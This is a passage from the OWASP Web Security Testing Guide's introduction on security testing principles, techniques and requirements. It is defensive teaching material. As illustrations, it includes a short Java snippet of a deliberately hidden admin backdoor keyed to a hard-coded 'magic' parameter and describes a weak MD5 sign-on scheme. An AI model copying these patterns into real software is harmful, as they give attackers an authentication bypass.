remaining parts of this document.\n\n### When to Test?\n\nMost people today don’t test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.\n\n*Figure 2-1: Generic SDLC Model*\n\nCompanies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.\n\n### What to Test?\n\nIt can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that “create” software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.\n\nAn effective testing program should have components that test the following:\n\n- **People** – to ensure that there is adequate education and awareness;\n- **Process** – to ensure that there are adequate policies and standards and that people know how to follow these policies;\n- **Technology** – to ensure that the process has been effective in its implementation.\n\nUnless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.\n\nDenis Verdon, Head of Information Security at [Fidelity National Financial](https://www.fnf.com), presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York:\n\n> If cars were built like applications … safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft.\n\n### How To Reference WSTG Scenarios\n\nEach scenario has an identifier in the format `WSTG--`, where: ‘category’ is a 4 character upper case string that identifies the type of test or weakness, and ‘number’ is a zero-padded numeric value from 01 to 99. For example:`WSTG-INFO-02` is the second Information Gathering test.\n\nThe identifiers may change between versions therefore it is preferable that other documents, reports, or tools use the format: `WSTG---`, where: ‘version’ is the version tag with punctuation removed. For example: `WSTG-v42-INFO-02` would be understood to mean specifically the second Information Gathering test from version 4.2.\n\nIf identifiers are used without including the `` element then they should be assumed to refer to the latest Web Security Testing Guide content. Obviously as the guide grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\n#### Linking\n\nLinking to Web Security Testing Guide scenarios should be done using versioned links not `stable` or `latest` which will definitely change with time. However, it is the project team’s intention that versioned links not change. For example: `https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.html`. Note: the `v42` element refers to version 4.2.\n\n### Feedback and Comments\n\nAs with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.\n\n## Principles of Testing\n\nThere are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.\n\n### There is No Silver Bullet\n\nWhile it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessment or providing adequate test coverage. Remember that security is a process and not a product.\n\n### Think Strategically, Not Tactically\n\nSecurity professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability, also referred to as window of exposure, shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about windows of exposure, see [Schneier on Security](https://www.schneier.com/crypto-gram/archives/2000/0915.html).\n\nVulnerability studies such as [Symantec’s Internet Security Threat Report](https://www.symantec.com/security-center/threat-report) have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.\n\nThere are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations or might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works, or because they lack knowledge about the existence of the patch.\n\n*Figure 2-2: Window of Vulnerability*\n\nIt is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.\n\n### The SDLC is King\n\nThe SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.\n\nThere are several secure SDLC frameworks in existence that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how it is used in the real world. Both have their place. For example, if you don’t know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM; and the prescriptive secure SDLCs include OWASP’s [Open Software Assurance Maturity Model](https://www.opensamm.org/) (OpenSAMM), and [ISO/IEC 27034](https://www.iso27001security.com/html/27034.html) Parts 1-7, all published (except part 4).\n\n### Test Early and Test Often\n\nWhen a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design programs with fewer security bugs, new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker’s perspective. This allows each organization to consider security issues as part of their existing responsibilities.\n\n### Test Automation\n\nIn modern development methodologies such as (but not limited to): agile, devops/devsecops, or rapid application development (RAD) consideration should be put into integrating security tests in to continuous integration/continuous deployment (CI/CD) workflows in order to maintain baseline security information/analysis and identify “low hanging fruit” type weaknesses. This can be done by leveraging dynamic application security testing (DAST), static application security testing (SAST), and software composition analysis (SCA) or dependency tracking tools during standard automated release workflows or on a regularly scheduled basis.\n\n### Understand the Scope of Security\n\nIt is important to know how much security a given project will require. The assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA, requirements might come from federal regulations, such as the [Gramm-Leach-Bliley Act](https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act), or from state laws, such as the [California SB-1386](https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386). For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, [Directive 96/46/EC4](https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en) and [Regulation (EU) 2016/679 (General Data Protection Regulation)](https://gdpr-info.eu/) make it mandatory to treat personal data in applications with due care, whatever the application.\n\n### Develop the Right Mindset\n\nSuccessfully testing an application for security vulnerabilities requires thinking “outside of the box.” Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find any assumptions made by web developers that are not always true, and how those assumptions can be subverted. One reason that automated tools do a poor job of testing for vulnerabilities is that automated tools do not think creatively. Creative thinking must be done on a case-by-case basis, as most web applications are being developed in a unique way (even when using common frameworks).\n\n### Understand the Subject\n\nOne of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc. should be recorded in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use cases. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization’s applications and network (e.g., intrusion detection systems).\n\n### Use the Right Tools\n\nWhile we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of Open Source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.\n\n### The Devil is in the Details\n\nIt is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positives that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.\n\n### Use Source Code When Available\n\nWhile black-box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black-box engagement.\n\n### Develop Metrics\n\nAn important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.\n\nGood metrics will show:\n\n- If more education and training are required;\n- If there is a particular security mechanism that is not clearly understood by the development team;\n- If the total number of security related problems being found is decreasing.\n\nConsistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using a standard such as the one provided by the [IEEE](https://ieeexplore.ieee.org/document/237006) is a good starting point.\n\n### Document the Test Results\n\nTo conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report that is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.\n\nThe report should clearly identify to the business owner where material risks exist, and do so in a manner sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills, and agreeing on a complex report can lead to instances where test results are not properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.\n\n## Testing Techniques Explained\n\nThis section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages or disadvantages of some of the techniques that should be considered. In particular, we will cover:\n\n- Manual Inspections & Reviews\n- Threat Modeling\n- Code Review\n- Penetration Testing\n\n## Manual Inspections and Reviews\n\n### Overview\n\nManual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.\n\nWhile the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place.\n\nAs with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement secure applications.\n\nOther activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.\n\n### Advantages\n\n- Requires no supporting technology\n- Can be applied to a variety of situations\n- Flexible\n- Promotes teamwork\n- Early in the SDLC\n\n### Disadvantages\n\n- Can be time-consuming\n- Supporting material not always available\n- Requires significant human thought and skill to be effective\n\n## Threat Modeling\n\n### Overview\n\nThreat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. It enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.\n\nTo develop a threat model, we recommend taking a simple approach that follows the [NIST 800-30](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final) standard for risk assessment. This approach involves:\n\n- Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.\n- Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.\n- Exploring potential vulnerabilities - whether technical, operational, or managerial.\n- Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective by using threat scenarios or attack trees.\n- Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.\n\nThe output from a threat model itself can vary but is typically a collection of lists and diagrams. Various Open Source projects and commercial products support application threat modeling methodologies that can be used as a reference for testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications.\n\n### Advantages\n\n- Practical attacker view of the system\n- Flexible\n- Early in the SDLC\n\n### Disadvantages\n\n- Good threat models don’t automatically mean good software\n\n## Source Code Review\n\n### Overview\n\nSource code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source.” Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code, somewhere. Unlike testing closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.\n\nMany unintentional but significant security problems are extremely difficult to discover with other forms of analysis or testing, such as penetration testing. This makes source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black-box testing.\n\nExamples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses, as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web applications. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or where fail-open control procedures may be present. Operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein. [Ken Thompson’s Turing Award speech](https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf) describes one possible manifestation of this issue.\n\n### Advantages\n\n- Completeness and effectiveness\n- Accuracy\n- Fast (for competent reviewers)\n\n### Disadvantages\n\n- Requires highly skilled security aware developers\n- Can miss issues in compiled libraries\n- Cannot detect runtime errors easily\n- The source code actually deployed might differ from the one being analyzed\n\nFor more on code review, see the [OWASP code review project](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project).\n\n## Penetration Testing\n\n### Overview\n\nPenetration testing has been a common technique used to test network security for decades. It is also commonly known as black-box testing or ethical hacking. Penetration testing is essentially the “art” of testing a system or application remotely to find security vulnerabilities, without knowing the inner workings of the target itself. Typically, the penetration test team is able to access an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given one or more valid accounts on the system.\n\nWhile penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work involved is in finding, and then exploiting, known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Some automated penetration testing tools have been developed, but considering the bespoke nature of web applications, their effectiveness alone can be poor.\n\nMany people use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. As Gary McGraw wrote in [Software Penetration Testing](https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf), “In practice, a penetration test can only identify a small representative sample of all possible security risks in a system.” However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the deployed source code.\n\n### Advantages\n\n- Can be fast (and therefore cheap)\n- Requires a relatively lower skill-set than source code review\n- Tests the code that is actually being exposed\n\n### Disadvantages\n\n- Too late in the SDLC\n- Front-impact testing only\n\n## The Need for a Balanced Approach\n\nWith so many techniques and approaches to testing the security of web applications, it can be difficult to understand which techniques to use or when to use them. Experience shows that there is no right or wrong answer to the question of exactly which techniques should be used to build a testing framework. In fact, all techniques should be used to test all the areas that need to be tested.\n\nAlthough it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The single approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the SDLC.\n\nThe correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing, to CI/CD integrated testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available, depending on the current SDLC phase.\n\nOf course there are times and circumstances where only one technique is possible. For example, consider a test of a web application that has already been created, but where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as not having access to source code, and to explore the possibility of more complete testing.\n\nA balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the SLDC. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.\n\n*Figure 2-3: Proportion of Test Effort in SDLC*\n\nThe following figure shows a typical proportional representation overlaid onto testing techniques.\n\n*Figure 2-4: Proportion of Test Effort According to Test Technique*\n\n### A Note about Web Application Scanners\n\nMany organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black-box testing is not (nor will ever be) completely effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.\n\nIt is helpful to understand the efficacy and limitations of automated vulnerability detection tools. To this end, the [OWASP Benchmark Project](https://owasp.org/www-project-benchmark/) is a test suite designed to evaluate the speed, coverage, and accuracy of automated software vulnerability detection tools and services. Benchmarking can help to test the capabilities of these automated tools, and help to make their usefulness explicit.\n\nThe following examples show why automated black-box testing may not be effective.\n\n### Example 1: Magic Parameters\n\nImagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: `http://www.host/application?magic=value`\n\nTo further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.\n\nThe designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: `http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d`\n\nGiven that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30\\^28 permutations, or trillions of HTTP requests. That is an electron in a digital haystack.\n\nThe code for this exemplar Magic Parameter check may look like the following:\n\n```\npublic void doPost( HttpServletRequest request, HttpServletResponse response) { String magic = \"sf8g7sfjdsurtsdieerwqredsgnfg8d\"; boolean admin = magic.equals( request.getParameter(\"magic\")); if (admin) doAdmin( request, response); else … // normal processing } \n```\n\nBy looking in the code, the vulnerability practically leaps off the page as a potential problem.\n\n### Example 2: Bad Cryptography\n\nCryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In their wisdom, the developer decides that if a user is logged into site A, then they will generate a key using an MD5 hash function that comprises: `Hash { username : date }`\n\nWhen a user is passed to site B, they will send the key on the query string to site B in an HTTP redirect. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.\n\nAs the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.\n\n### A Note about Static Source Code Review Tools\n\nMany organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.\n\n## Deriving Security Test Requirements\n\nTo have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, from positive application requirements (specifying what the application is supposed to do), and from negative application requirements (specifying what the application should not do). It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.\n\n### Testing Objectives\n\nOne of the objectives of security testing is to validate that security controls operate as expected. This is documented via `security requirements` that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [OWASP Top Ten](https://owasp.org/www-project-top-ten/), as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.\n\n### Security Requirements Documentation\n\nThe first step in the documentation of security requirements is to understand the `business requirements`. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.\n\nA general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, compliance with the Federal Financial Institutions Examination Council (FFIEC) [Cybersecurity Assessment Tool & Documentation](https://www.ffiec.gov/cyberassessmenttool.htm) requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security controls and multi-factor authentication.\n\nApplicable industry standards for security must also be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, compliance with the [PCI Security Standards Council](https://www.pcisecuritystandards.org/pci_security/) Data Security Standard (DSS) forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.\n\nAnother section of the checklist needs to enforce general requirements for compliance with the organization’s information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such a requirement can be: “a password complexity of ten alphanumeric characters must be enforced by the authentication controls used by the application.” When security requirements map to compliance rules, a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage or address. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.\n\n### Security Requirements Validation\n\nFrom the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. Examined further, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personally identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization’s encryption standards. These might require that only certain algorithms and key lengths be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).\n\nFrom the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design; secure code analysis and reviews focus on identifying security issues in source code during development; and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.\n\nSecurity issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black-box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis before the malicious query is executed. Assuming the tester has the source code, they might directly learn from the source code analysis how to construct the SQL attack vector that will successfully exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user). This can expedite the validation of the SQL vulnerability.\n\n### Threats and Countermeasures Taxonomies\n\nA `threat and countermeasure classification`, which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. The [OWASP Testing Guide Checklist](https://github.com/OWASP/wstg/tree/master/checklist) is a helpful resource for guiding testers through specific vulnerabilities and validation tests.\n\nThe focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using [STRIDE](https://en.wikipedia.org/wiki/STRIDE_(security)), an acronym for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.\n\nA threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying a hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding, the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.\n\n### Security Testing and Risk Analysis\n\nSecurity requirements need to take into consideration the severity of the vulnerabilities to support a `risk mitigation strategy`. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.\n\nFor example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing, it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk vulnerabilities can be fixed in future releases.\n\nBy considering the threat scenarios of exploiting common vulnerabilities, it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization’s vulnerability knowledge base can be used to derive security-risk-driven test cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.\n\n### Deriving Functional and Non-Functional Test Requirements\n\n#### Functional Security Requirements\n\nFrom the perspective of functional security requirements, the applicable standards, policies, and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests. Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of ten alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as a fail or pass condition.\n\nIn order to validate security requirements with security tests, security requirements need to be function-driven. They need to highlight the expected functionality (the what) and imply the implementation (the how). Examples of high-level security design requirements for authentication can be:\n\n- Protect user credentials or shared secrets in transit and in storage.\n- Mask any confidential data in display (e.g., passwords, accounts).\n- Lock the user account after a certain number of failed log in attempts.\n- Do not show specific validation errors to the user as a result of a failed log on.\n- Only allow passwords that are alphanumeric, include special characters, and are a minimum ten characters in length, to limit the attack surface.\n- Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user’s answer to the challenge question, to prevent brute forcing of a password via password change.\n- The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one-time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user’s temporary password, the new password, as well as the user’s answer to the challenge question.\n\n#### Risk-Driven Security Requirements\n\nSecurity tests must also be risk-driven. They need to validate the application for unexpected behavior, or negative requirements.\n\nExamples of negative requirements are:\n\n- The application should not allow for the data to be altered or destroyed.\n- The application should not be compromised or misused for unauthorized financial transactions by a malicious user.\n\nNegative requirements are more difficult to test, because there is no expected behavior to look for. Looking for expected behavior to suit the above requirements might require a threat analyst to unrealistically come up with unforeseeable input conditions, causes, and effects. Hence, security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios, and the functionality of the countermeasure as a factor to mitigate a threat.\n\nFor example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasures perspective:\n\n- Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks.\n- Encrypt passwords using non-reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks.\n- Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks.\n- Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration.\n- Mutually authenticate client and server to prevent non-repudiation and Manipulator In the Middle (MiTM) attacks.\n\nThreat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users’ messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection 